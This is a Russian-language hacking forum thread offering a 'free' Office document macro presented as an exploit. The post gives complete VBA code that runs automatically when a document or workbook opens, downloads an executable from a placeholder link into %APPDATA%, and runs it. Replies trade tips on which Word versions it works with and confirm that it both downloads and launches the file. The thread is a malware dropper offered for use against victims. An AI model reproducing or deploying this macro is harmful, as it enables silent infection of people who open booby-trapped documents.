[.Doc] "Exploit" - Macro Method - Free MS Office - All Versions!

​

​

​

​

​

Вставьте код :​

Код:

Sub Auto_Open()
    h
End Sub
 
Sub h()
 
Set oShell = CreateObject("WScript.Shell")
strH = oShell.ExpandEnvironmentStrings("%APPDATA%")
Dim sDir: sDir = strH & "\q"
 
     
Set fso = CreateObject("Scripting.FileSystemObject")
  If (fso.FolderExists(sDir)) Then
 
 
  Else
  Set oFSO = CreateObject("Scripting.FileSystemObject")
      oFSO.CreateFolder sDir
 
 
End If
 
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
xHttp.Open "GET", "http://YOURDOWNLOAD.LINK/file.exe", False
xHttp.Send
 
With bStrm
    .Type = 1
    .Open
    .write xHttp.responseBody
    .savetofile strH & "\q\q.com", 2
End With
 
 
Call m(sDir)
 
End Sub
 
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
 
 
 
Function m(str11)
    Dim fso, f, fc, f1, strF, intFiles
    Dim WshShell
 
    Set WshShell = CreateObject("WScript.Shell")
 
    strF = ""
 
    Set fso = CreateObject("Scripting.FileSystemObject")
    If (fso.FolderExists(str11)) Then
        Set f = fso.GetFolder(str11)
        Set fc = f.Files
 
       
        For Each f1 In fc
        Dim fR
        fR = str11 & "\" & f1.Name
        WshShell.Run Chr(34) & fR & Chr(34), 1, True
    Next
 
        Set f1 = Nothing
        Set fc = Nothing
        Set f = Nothing
 
 
    End If
    Set fso = Nothing
End Function

В место Please login or register to view links, ваша ссылка.​

Прямую ссылку даёт этот вот сайт Please login or register to view links​

​

 

закиньте в приват

 

Нинадо

 

Это паблик способ.

 

в папку %appdata% скачивается?

 

Да)

 

Люди большое вам спасибо!
как же я давно думал как на VBA файл скачать.
(VBA - Visual Basic For Application - такой юзается в MSword)

 

2003 не пашет

 

Ты решил уйти в пещеры? На каких компах установлен 2003?
1. Подразумкваеться MS WORD 2003?
2. Или имеешь ввиду windows server 2003?

 

MS WORD 2003?

 

в мя стоит MS WORD 2003 всё работает

 

могу дать вивер доступ для теста 2003 microsoft office

 

просто скачивает файл? а запуск?

 

Ну естественно